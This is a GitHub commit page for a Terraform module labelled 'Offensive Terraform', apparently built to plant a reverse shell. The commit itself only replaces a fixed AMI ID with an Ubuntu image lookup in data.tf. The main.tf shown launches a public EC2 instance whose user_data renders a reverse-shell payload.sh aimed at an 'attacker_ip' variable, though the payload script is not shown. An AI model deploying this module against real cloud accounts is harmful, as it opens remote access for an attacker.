Skip to content

Commit

Permalink
Modified main.tf to use data.tf for AMI lookup
Browse files Browse the repository at this point in the history
  • Loading branch information
sciorms authored Sep 19, 2020
1 parent ca1f1c5 commit 0bd7a11
Show file tree
Hide file tree
Showing 2 changed files with 33 additions and 24 deletions.
9 changes: 9 additions & 0 deletions data.tf
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
data "aws_ami" "ubuntu" {
most_recent = true
owners = ["099720109477"]

filter {
name = "name"
values = ["ubuntu/images/hvm-ssd/ubuntu-bionic-18.04-amd64-server-*"]
}
}
48 changes: 24 additions & 24 deletions main.tf
Original file line number Diff line number Diff line change
@@ -1,24 +1,24 @@
terraform {
required_version = ">= 0.12"
}

resource "aws_instance" "this" {
ami = "ami-06b263d6ceff0b3dd"
instance_type = "t2.micro"
subnet_id = var.subnet_id
iam_instance_profile = var.iam_instance_profile
user_data = data.template_file.user_data.rendered
associate_public_ip_address = true

tags = {
CreatedBy = "Offensive Terraform"
}
}

data "template_file" "user_data" {
template = file(".terraform/modules/ec2-instance-reverse-shell/payload.sh")

vars = {
attacker_ip = var.attacker_ip
}
}
terraform {
required_version = ">= 0.12"
}

resource "aws_instance" "this" {
ami = data.aws_ami.ubuntu.id
instance_type = "t2.micro"
subnet_id = var.subnet_id
iam_instance_profile = var.iam_instance_profile
user_data = data.template_file.user_data.rendered
associate_public_ip_address = true

tags = {
CreatedBy = "Offensive Terraform"
}
}

data "template_file" "user_data" {
template = file(".terraform/modules/ec2-instance-reverse-shell/payload.sh")

vars = {
attacker_ip = var.attacker_ip
}
}

0 comments on commit 0bd7a11

Please # to comment.